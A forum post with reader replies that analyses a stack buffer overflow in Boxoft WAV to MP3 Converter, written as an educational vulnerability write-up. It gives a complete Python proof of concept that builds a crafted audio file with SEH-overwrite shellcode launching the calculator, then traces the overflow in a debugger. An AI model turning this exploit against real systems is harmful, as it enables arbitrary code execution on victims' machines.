吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 11838|回复: 11
收起左侧

[漏洞分析] Boxoft WAV to MP3 Converter - convert 特性缓冲区溢出

  [复制链接]
wnagzihxain 发表于 2016-3-20 12:41
本帖最后由 wnagzihxain 于 2016-3-20 12:47 编辑

Platform: Windows XP sp3
Date: 2016.3.18
Author: toT0C


首先拿到poc,先看看,明显的溢出,利用的是SEH的结构
[Python] 纯文本查看 复制代码
# !/usr/bin/python
#using = utf-8
 
# Title:        Boxoft WAV to MP3 Converter - convert 特性缓冲区溢出
# software:     Boxoft WAV
# version : 

# windows/calc - 277 bytes 
shellcode = ("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" 
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63" 
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1" 
"\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96" 
"\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a" 
"\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa" 
"\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde" 
"\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc" 
"\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36" 
"\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6" 
"\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72" 
"\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc" 
"\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2" 
"\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1" 
"\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80" 
"\xc4\xd9") 
 
junk = "A"*4132
nseh = "\xeb\x06\x90\x90"
seh = "\xa4\x43\x40\x00"
junk2 = "\x90"*20
 
exploit = junk + nseh + seh + junk2 + shellcode + junk2
 
f = open("malicious.aiff", "w") 
f.write(exploit)
f.close()

载入OD,然后命令执行Bpx CreateFileW,因为肯定会读取文件,所以直接在调用下断点就好了,然后重新载入F9运行起来,添加用poc生成的文件,点击play,会发现断下来了

1.png

然后就F8单步慢慢走,发现走完这句就会执行shellcode,那么这个函数肯定有问题了,下个断点做标记,F7跟进去

2.png

继续F8单步,然而发现进入了一个循环,来看看未开始循环时部分栈的布局
[Asm] 纯文本查看 复制代码
0012EB0C   0012EB98
0012EB10   00000004
0012EB14   00000000
0012EB18   7C80189C  kernel32.7C80189C
0012EB1C   00000004
0012EB20   0012EB98
0012EB24   000001F0
0012EB28   004688F4  wavtomp3.004688F4
0012EB2C   0012EB40
0012EB30   00000000
0012EB34   00000004

然后来看看循环十遍后部分栈的布局
[Asm] 纯文本查看 复制代码
0012EB0C   769ACFFB  返回到 ole32.769ACFFB 来自 ntdll.RtlAllocateHeap
0012EB10   00160000
0012EB14   00000000
0012EB18   41414141
0012EB1C   41414141
0012EB20   41414141
0012EB24   76AB7041  ole32.76AB7041
0012EB28   00B1AEC0
0012EB2C   00000042
0012EB30   0012EB44  UNICODE "E"
0012EB34   770F4B6A  返回到 oleaut32.770F4B6A 来自 oleaut32.770F4AE0
发现了没?这里就是溢出的原因,执行完这个call就会写入一个41,所以既然都到这里了,那就跟进这个call
[Asm] 纯文本查看 复制代码
004BA8C7   |.  FF55 0C                 |call [arg.2]                                           ;  wavtomp3.004B7EDD
整个函数
[Asm] 纯文本查看 复制代码
004209E0    .  8B40 04                 mov eax,dword ptr ds:[eax+0x4]
004209E3    .  E8 D8A8FEFF             call wavtomp3.0040B2C0
004209E8    .  83F8 FF                 cmp eax,-0x1
004209EB    .  75 02                   jnz short wavtomp3.004209EF
004209ED    .  33C0                    xor eax,eax
004209EF    >  C3                      retn
再F7跟进这一句
[Asm] 纯文本查看 复制代码
004209E3    .  E8 D8A8FEFF             call wavtomp3.0040B2C0
整个函数
[Asm] 纯文本查看 复制代码
0040B2C0   /$  53                      push ebx
0040B2C1   |.  56                      push esi
0040B2C2   |.  57                      push edi
0040B2C3   |.  51                      push ecx
0040B2C4   |.  8BF9                    mov edi,ecx
0040B2C6   |.  8BF2                    mov esi,edx
0040B2C8   |.  8BD8                    mov ebx,eax
0040B2CA   |.  6A 00                   push 0x0                                                ; /pOverlapped = NULL
0040B2CC   |.  8D4424 04               lea eax,dword ptr ss:[esp+0x4]                          ; |
0040B2D0   |.  50                      push eax                                                ; |pBytesRead = 000001F0
0040B2D1   |.  57                      push edi                                                ; |BytesToRead = 0x0
0040B2D2   |.  56                      push esi                                                ; |Buffer = 00000005
0040B2D3   |.  53                      push ebx                                                ; |hFile = 00B1AEC0
0040B2D4   |.  E8 3FB8FFFF             call <jmp.&kernel32.ReadFile>                           ; \ReadFile
0040B2D9   |.  85C0                    test eax,eax
0040B2DB   |.  75 07                   jnz short wavtomp3.0040B2E4
0040B2DD   |.  C70424 FFFFFFFF         mov dword ptr ss:[esp],-0x1
0040B2E4   |>  8B0424                  mov eax,dword ptr ss:[esp]                              ;  wavtomp3.004209E8
0040B2E7   |.  5A                      pop edx                                                 ;  wavtomp3.004209E8
0040B2E8   |.  5F                      pop edi                                                 ;  wavtomp3.004209E8
0040B2E9   |.  5E                      pop esi                                                 ;  wavtomp3.004209E8
0040B2EA   |.  5B                      pop ebx                                                 ;  wavtomp3.004209E8
0040B2EB   \.  C3                      retn
你说你读取都不看看限制条件吗?完全没法忍啊!!!!!!
如果有同学想直观感受是如何溢出的,这样,在这句下断
[Asm] 纯文本查看 复制代码
004BA8C7   |.  FF55 0C                 |call [arg.2]                                           ;  wavtomp3.004209E0
然后在数据区Ctrl+G,跳到0x0012EB98,然后一直按住F9,就会感受到\x41在疯狂的填充着,这是飞一样的感觉,不过4000+个A也是蛮多的

3.png

好了那这里就不贪玩手动走完循环啦,毕竟年纪大了,直接来到RETN,可以看到,整个的shellcode已经布置好了

4.png

结合poc里面的代码,来分析一下,整个填充的结构为
填充+nseh+seh+nop+shellcode
填充:就是溢出到SEH的位置
Nseh:这里使用常用的"\xeb\x06\x90\x90",汇编就是jmp 06 nop nop
Seh:指向的是一个执行pop popretn的地址
然后nop和shellcode没什么好解释的
为什么SEH的指令要这样写?
这是当前寄存器的布局
[Asm] 纯文本查看 复制代码
EAX 00000000
ECX 00001137
EDX 00001137
EBX 41414141
ESP 0012FBB8
EBP 41414141
ESI 41414141
EDI 41414141
EIP 004BADD0 wavtomp3.004BADD0
C 0  ES 0023 32位 0(FFFFFFFF)
P 0  CS 001B 32位 0(FFFFFFFF)
A 1  SS 0023 32位 0(FFFFFFFF)
Z 0  DS 0023 32位 0(FFFFFFFF)
S 0  FS 003B 32位 7FFDD000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00200212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty -??? FFFF 00D2D2D4 2AFCFCFE
ST1 empty -??? FFFF 00000000 2A2A2A2A
ST2 empty -??? FFFF 00000051 00510051
ST3 empty -??? FFFF 0000005D 005D005D
ST4 empty -NAN FFFF A1FEFEFF ADFEFEFF
ST5 empty -??? FFFF 0000005D 005D005E
ST6 empty 1.0000000000000000000
ST7 empty 1.0000000000000000000
               3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 1372  Prec NEAR,64  掩码    1 1 0 0 1 0
然后看ESP的值是41414141, retn到这地方妥妥的触发异常啊
[Asm] 纯文本查看 复制代码
0012FBB8   41414141
0012FBBC   909006EB  指向下一个 SEH 记录的指针
0012FBC0   004043A4  SE处理程序

跳到我们伪造的SEH地址去看看先,顺便下个断点

5.png

下好了断点然后F9欢快的跑起来,来看看这段代码作用
[Asm] 纯文本查看 复制代码
004043A4  |.  68 64504C00   push wavtomp3.004C5064                   ; |Title = "Error"
004043A9  |.  68 6C504C00   push wavtomp3.004C506C                   ; |Text = "Runtime error     at 00000000"
004043AE  |.  6A 00         push 0x0                                 ; |hOwner = NULL
004043B0  |.  E8 33CFFFFF   call <jmp.&user32.MessageBoxA>           ; \MessageBoxA
004043B5  |>  5A            pop edx                                  ;  ntdll.7C9232BC
004043B6  \.  C3            retn
执行到call Messagebox前,栈的布局
[Asm] 纯文本查看 复制代码
0012F7E0   00000000  |hOwner = NULL
0012F7E4   004C506C  |Text = "Runtime error     at 00000000"
0012F7E8   004C5064  |Title = "Error"
0012F7EC   7C9232A8  \Style = 0x8|MB_ICONQUESTION|MB_DEFBUTTON3|3000|7C920080
0012F7F0   0012F8D4
0012F7F4   0012FBBC
0012F7F8   0012F8F0
0012F7FC   0012F8A8  ASCII "AAAAAAAA"
0012F800   0012FBBC  指向下一个 SEH 记录的指针
0012F804   7C9232BC  SE处理程序
0012F808   0012FBBC
0012F80C  /0012F8BC
0012F810  |7C92327A  返回到 ntdll.7C92327A 来自 ntdll.7C923282
执行完call Messagebox,因为Messagebox需要四个参数,pop的时候会弹出去4个参数
所以现在栈的布局
[Asm] 纯文本查看 复制代码
0012F7F0   0012F8D4
0012F7F4   0012FBBC
0012F7F8   0012F8F0
0012F7FC   0012F8A8  ASCII "AAAAAAAA"
0012F800   0012FBBC  指向下一个 SEH 记录的指针
0012F804   7C9232BC  SE处理程序
0012F808   0012FBBC
0012F80C  /0012F8BC
0012F810  |7C92327A  返回到 ntdll.7C92327A 来自 ntdll.7C923282
然后执行pop edx,又弹出去一个
[Asm] 纯文本查看 复制代码
0012F7F4   0012FBBC
0012F7F8   0012F8F0
0012F7FC   0012F8A8  ASCII "AAAAAAAA"
0012F800   0012FBBC  指向下一个 SEH 记录的指针
0012F804   7C9232BC  SE处理程序
0012F808   0012FBBC
0012F80C  /0012F8BC
0012F810  |7C92327A  返回到 ntdll.7C92327A 来自 ntdll.7C923282
到了retn的时候,现在的esp的值为0x0012F7F4,而0x0012F7F4处的值为0x0012FBBC
也就是会返回我们伪造的SEH地址,单步retn可以看到到了nseh的代码段

6.png

然后最终的运行效果就是一个计算器

7.png

最后呢,本文我同时也提交到Seebug和我的博客上了,如果大伙看到呢,并不是抄袭啊!!!!!!
如果有同学对二进制漏洞分析感兴趣的,可以多上Seebug看看
本文Seebug链接:https://www.seebug.org/vuldb/ssvid-89318
还有我的博客,博客主要是记录二进制学习笔记一些漏洞分析的,比如看雪的0DAY2调试笔记:http://www.wangzhixian.org/

免费评分

参与人数 2威望 +2 热心值 +2 收起 理由
GG0 + 1 用心讨论,共获提升!
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| wnagzihxain 发表于 2016-3-21 21:48
与狗为伍的男人 发表于 2016-3-21 21:31
对于初学者,楼主如果能更详细标注一下,我感觉更好哈哈

如果是OD操作问题,F7F8F9快捷键使用等等那我是在没法在分析里面详细记录,因为二进制门槛确实比较高,比web安全那是高的不是一点点,所以至少要有那么点点的汇编基础,不说熟悉阅读汇编代码,至少能有汇编代码的概念,比如call执行的时候堆栈都会发生什么,比如SEH处理异常的时候会向栈里压入两个参数所以栈溢出利用SEH结构的时候需要pop pop retn,然后是OD的操作,不需要很熟悉所有快捷键,至少需要知道单步走,步入和步过的区别,Ctrl+G,堆栈调用,异常忽略,SEH链,不要看我写的这么多,这些都会在二进制学习中学到的,要想熟练,那就是多上论坛看教程,讲真:那些破解的工具什么的帖子可以先不要关注那么多
与狗为伍的男人 发表于 2016-3-23 15:09
wnagzihxain 发表于 2016-3-21 21:48
如果是OD操作问题,F7F8F9快捷键使用等等那我是在没法在分析里面详细记录,因为二进制门槛确实比较高,比 ...

楼主是个很认真的人,感谢楼主的耐心。学习了谢谢
 楼主| wnagzihxain 发表于 2016-3-20 12:52
MiWushao 发表于 2016-3-20 12:46
虽然看不懂,,还是顶下

不懂的地方可以直接提出来,具体哪里看不懂,我会修改帖子详细说明的
g341744 发表于 2016-3-20 13:43
顶一个!!期待后续分享
 楼主| wnagzihxain 发表于 2016-3-20 14:46
g341744 发表于 2016-3-20 13:43
顶一个!!期待后续分享

感谢支持,我更希望大家能参与整个分析,因为我一个人分析总会有些遗漏和错误,大家一起讨论才能做的更好
与狗为伍的男人 发表于 2016-3-21 21:31
对于初学者,楼主如果能更详细标注一下,我感觉更好哈哈
taxuewuhen 发表于 2016-8-3 16:32
可以直接提出来
ning2016 发表于 2016-8-20 23:44
不明觉厉啊
GG0 发表于 2016-11-19 00:21
牛掰牛掰 ,顶H大
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-25 12:29

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表